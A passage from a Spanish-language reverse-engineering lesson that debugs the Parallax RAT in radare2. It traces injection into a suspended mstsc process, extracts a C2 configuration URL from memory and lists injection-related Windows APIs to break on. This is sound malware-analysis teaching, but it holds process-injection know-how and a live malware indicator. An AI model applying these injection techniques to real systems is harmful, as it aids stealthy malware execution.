            0x007142d4      8995c8fdffff   mov dword [ebp - 0x238], edx
            0x007142da      8b45c0         mov eax, dword [ebp - 0x40]
            0x007142dd      99             cdq
            0x007142de      8985a8fcffff   mov dword [ebp - 0x358], eax
            0x007142e4      8995acfcffff   mov dword [ebp - 0x354], edx
            0x007142ea      8d45a8         lea eax, [ebp - 0x58]
            0x007142ed      99             cdq
            0x007142ee      8985b0fcffff   mov dword [ebp - 0x350], eax
            0x007142f4      8995b4fcffff   mov dword [ebp - 0x34c], edx
            0x007142fa      c785b8fcffff.  mov dword [ebp - 0x348], 0
            0x00714304      c785bcfcffff.  mov dword [ebp - 0x344], 0
            0x0071430e      8d85c4fdffff   lea eax, [ebp - 0x23c]
            0x00714314      99             cdq
            0x00714315      8985c0fcffff   mov dw

En lo que parece un proceso de parseo de argumentos y carga, decodificación y llamadas a funciones implementadas a medida:

Ponemos algunos breakpoints antes y después de las llamadas que estamos observando, para comprobar sus parámetros y salida:

CÓDIGO / SALIDA
[0x00714283]> db 0x007144ca
[0x00714283]> db 0x007144f8
[0x00714283]> db 0x0071448a
[0x00714283]>

Y después de algunos, veremos una llamada cuyos parámetros nos permiten identificar el handle del proceso remoto mstsc suspendido:

ENSAMBLADOR / REFERENCIA
[0x007144cf]> pd 20
            ;-- eip:
            0x007144cf      83c408         add esp, 8
            0x007144d2      8b4dd4         mov ecx, dword [ebp - 0x2c]
            0x007144d5      51             push ecx
            0x007144d6      8b55d8         mov edx, dword [ebp - 0x28]
            0x007144d9      52             push edx
            0x007144da      8b4508         mov eax, dword [ebp + 8]
            0x007144dd      50             push eax
            0x007144de      8b4de8         mov ecx, dword [ebp - 0x18]
            0x007144e1      51             push ecx
            0x007144e2      8b5580         mov edx, dword [ebp - 0x80]
            0x007144e5      52             push edx
            0x007144e6      8b8568ffffff   mov eax, dword [ebp - 0x98]
            0x007144ec      50             push eax
            0x007144ed      8b8d20ffffff   mov ecx, dword [ebp - 0xe0]
            0x007144f3      51             push ecx
            0x007144f4      8b55c0         mov edx, dword [ebp - 0x40]
            0x007144f7      52             push edx
            0x007144f8 b    e8f3080000     call 0x714df0
            0x007144fd      83c420         add esp, 0x20
            0x00714500      898564ffffff   mov dword [ebp - 0x9c], eax
[0x007144cf]> dc
hit breakpoint at: 0x7144f8
[0x007144cf]> pxr @ esp
0x0019f12c 0x0000031c  .... @ esp 796 edx ; process handle 
0x0019f130 0x0066006c  l.f. MAPPED  ecx ascii ('l') R 0x1740000
0x0019f134 0x0078f270  p.x. PRIVATE  eax R W 0xe8f18b56
0x0019f138 0x00007924  $y.. 31012 ascii ('$')
0x0019f13c 0x00000001  .... 1
0x0019f140 0x0019fb14  .... PRIVATE  R W 0x19fb30
0x0019f144 0x043a2d70  p-:. IMAGE  R X 'mov eax, 0x3a' 'IMAGE '
0x0019f148 0x0000003a  :... 58 ascii (':')
0x0019f14c 0x00508508  ..P. IMAGE  .data R W 0x0

Así como una referencia a un buffer, que claramente corresponde a código ejecutable.

Si seguimos la llamada y profundizamos, veremos carga de argumentos y una referencia a otra llamada:

ENSAMBLADOR / REFERENCIA
[0x00714df0]> pd 90
            ;-- eip:
            0x00714df0      55             push ebp
            0x00714df1      8bec           mov ebp, esp
            0x00714df3      83ec58         sub esp, 0x58
            0x00714df6      8b450c         mov eax, dword [ebp + 0xc]
            0x00714df9      33c9           xor ecx, ecx
            0x00714dfb      8945f0         mov dword [ebp - 0x10], eax
            0x00714dfe      894df4         mov dword [ebp - 0xc], ecx
            0x00714e01      8b5514         mov edx, dword [ebp + 0x14]
            0x00714e04      33c0           xor eax, eax
            0x00714e06      8955d8         mov dword [ebp - 0x28], edx
            0x00714e09      8945dc         mov dword [ebp - 0x24], eax
            0x00714e0c      8b4510         mov eax, dword [ebp + 0x10]
            0x00714e0f      99             cdq
            0x00714e10      8945e0         mov dword [ebp - 0x20], eax
            0x00714e13      8955e4         mov dword [ebp - 0x1c], edx
            0x00714e16      8b4508         mov eax, dword [ebp + 8]
            0x00714e19      99             cdq
            0x00714e1a      8945e8         mov dword [ebp - 0x18], eax
            0x00714e1d      8955ec         mov dword [ebp - 0x14], edx
            0x00714e20      c745fc000000.  mov dword [ebp - 4], 0
            0x00714e27      8b4de8         mov ecx, dword [ebp - 0x18]
            0x00714e2a      894da8         mov dword [ebp - 0x58], ecx
            0x00714e2d      8b55ec         mov edx, dword [ebp - 0x14]
            0x00714e30      8955ac         mov dword [ebp - 0x54], edx
            0x00714e33      8b45f0         mov eax, dword [ebp - 0x10]
            0x00714e36      8945b0         mov dword [ebp - 0x50], eax
            0x00714e39      8b4df4         mov ecx, dword [ebp - 0xc]
            0x00714e3c      894db4         mov dword [ebp - 0x4c], ecx
            0x00714e3f      8b55e0         mov edx, dword [ebp - 0x20]
            0x00714e42      8955b8         mov dword [ebp - 0x48], edx
            0x00714e45      8b45e4         mov eax, dword [ebp - 0x1c]
            0x00714e48      8945bc         mov dword [ebp - 0x44], eax
            0x00714e4b      8b4dd8         mov ecx, dword [ebp - 0x28]
            0x00714e4e      894dc0         mov dword [ebp - 0x40], ecx
            0x00714e51      8b55dc         mov edx, dword [ebp - 0x24]
            0x00714e54      8955c4         mov dword [ebp - 0x3c], edx
            0x00714e57      8d45d0         lea eax, [ebp - 0x30]
            0x00714e5a      99             cdq
            0x00714e5b      8945c8         mov dword [ebp - 0x38], eax
            0x00714e5e      8955cc         mov dword [ebp - 0x34], edx
            0x00714e61      837d1800       cmp dword [ebp + 0x18], 0
        ,=< 0x00714e65      741d           je 0x714e84
        |   0x00714e67      8b4524         mov eax, dword [ebp + 0x24]
        |   0x00714e6a      8945f8         mov dword [ebp - 8], eax
        |   0x00714e6d      6a05           push 5                      ; 5
        |   0x00714e6f      8d4da8         lea ecx, [ebp - 0x58]
        |   0x00714e72      51             push ecx
        |   0x00714e73      8b55f8         mov edx, dword [ebp - 8]
        |   0x00714e76      52             push edx
        |   0x00714e77      e884cbffff     call 0x711a00
        |   0x00714e7c      83c40c         add esp, 0xc
        |   0x00714e7f      8945fc         mov dword [ebp - 4], eax
       ,==< 0x00714e82      eb1a           jmp 0x714e9e
       |`-> 0x00714e84      8d45d0         lea eax, [ebp - 0x30]
       |    0x00714e87      50             push eax
       |    0x00714e88      8b4d14         mov ecx, dword [ebp + 0x14]
       |    0x00714e8b      51             push ecx
       |    0x00714e8c      8b5510         mov edx, dword [ebp + 0x10]
       |    0x00714e8f      52             push edx
       |    0x00714e90      8b45f0         mov eax, dword [ebp - 0x10]
       |    0x00714e93      50             push eax
       |    0x00714e94      8b4d08         mov ecx, dword [ebp + 8]
       |    0x00714e97      51             push ecx
       |    0x00714e98      ff5520         call dword [ebp + 0x20]     ; 32
       |    0x00714e9b      8945fc         mov dword [ebp - 4], eax
       `--> 0x00714e9e      8b45fc         mov eax, dword [ebp - 4]
            0x00714ea1      8be5           mov esp, ebp
            0x00714ea3      5d             pop ebp
            0x00714ea4      c3             ret

Si nos desplazamos allí podemos confirmar nuestra hipótesis:

CÓDIGO / SALIDA
[0x00714df0]> db 0x00714e77
[0x00714df0]> dc
hit breakpoint at: 0x714e77
[0x00714e77]> pxr @ esp
0x0019f0c0 0x0000003a  :... @ esp 58 edx,eax ascii (':')
0x0019f0c4 0x0019f0cc  .... PRIVATE  ecx R W 0x31c
0x0019f0c8 0x00000005  .... 5
0x0019f0cc 0x0000031c  .... @ ecx 796
0x0019f0d0 ..[ null bytes ]..   00000000
0x0019f0d4 0x0066006c  l.f. MAPPED  ascii ('l') R 0x1740000
0x0019f0d8 ..[ null bytes ]..   00000000
0x0019f0dc 0x0078f270  p.x. PRIVATE  R W 0xe8f18b56
0x0019f0e0 ..[ null bytes ]..   00000000
0x0019f0e4 0x00007924  $y.. 31012 ascii ('$')
0x0019f0e8 ..[ null bytes ]..   00000000
0x0019f0ec 0x0019f0f4  .... PRIVATE  R W 0x19efd0
0x0019f0f0 ..[ null bytes ]..   00000000
0x0019f0f4 0x0019efd0  .... PRIVATE  R W 0x36323631 1626

Tras la llamada, veremos cómo se escribe en el proceso remoto (argumento 0x0066006c):

Inyección de procesos en Parallax
FIG. 14 Inyección de procesos en Parallax

Y si avanzamos veremos una llamada similar; al inspeccionarla, obtendremos la URL del C2:

ENSAMBLADOR / REFERENCIA
[0x00714e77]> pd 20 @ 0x0078f270
            0x0078f270      56             push esi
            0x0078f271      8bf1           mov esi, ecx
            0x0078f273      e848030000     call 0x78f5c0
            0x0078f278      6800800000     push 0x8000
            0x0078f27d      6a00           push 0
            0x0078f27f      56             push esi
            0x0078f280      baddf553cd     mov edx, 0xcd53f5dd
            0x0078f285      8bc8           mov ecx, eax
            0x0078f287      e8d4000000     call 0x78f360

after another call

Que puede extraerse fácilmente de memoria:

CÓDIGO / SALIDA
[0x00714e77]> pxw @ 0x0019fb30
0x0019fb30  0x70747468 0x2f2f3a73 0x6d692e69 0x2e727567  https://i.imgur.
0x0019fb40  0x2f6d6f63 0x68736d65 0x2e545445 0x00676e70  com/emshETT.png.
0x0019fb50  0x00000000 0x3bc01699 0x3bc01699 0x3bc01699  .......;...;...;
0x0019fb60  0x3bc01699 0x3bc01699 0x3bc01699 0x3bc01699  ...;...;...;...;

Y aparecerá justo después en el proceso remoto:

Inyección de procesos en Parallax
FIG. 15 Inyección de procesos en Parallax

Y corresponde a esta imagen (captura de pantalla):

Inyección de procesos en Parallax
FIG. 16 Inyección de procesos en Parallax

En este punto podemos depurar el proceso remoto, poner breakpoints allí y continuar la inspección. Veremos referencias a llamadas de la API WININET descargando esa imagen, almacenándola en TMP y usándola para extraer la configuración, así como la creación y migración al proceso cmd.exe y algo de regedit... pero eso lo veremos en futuras entregas.

APIs a las que prestar atención

Cualquiera de estas puede servir como breakpoint al analizar malware. Ten en cuenta que Zw y Nt pueden usarse como prefijos, así como A/W como sufijos.

De KERNEL32

  • VirtualAllocEx
  • VirtualAlloc
  • VirtualProtectEx
  • ReadProcessMemory
  • WriteProcessMemory
  • CreateProcess
  • CreateRemoteThread
  • CreateToolhelp32Snapshot
  • Process32First
  • Process32Next

De NTDLL

Para desmapear memoria:

  • NtUnmapViewOfSection
  • ZwUnmapViewOfSection
  • NtFlushVirtualMemory
  • ZwFlushVirtualMemory

Para reservar, leer y escribir memoria:

  • NtWriteVirtualMemory
  • NtProtectVirtualMemory
  • NtAllocateVirtualMemory
  • NtQueryVirtualMemory
  • NtReadVirtualMemory

Para ejecutar:

  • NtCreateThread
  • NtResumeThread
  • NtOpenProcess
Comprobación personal

Antes de continuar

Describe la etapa analizada, sus datos de entrada y la evidencia que muestra su resultado. Relaciona cada captura con una función o transición concreta del caso.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.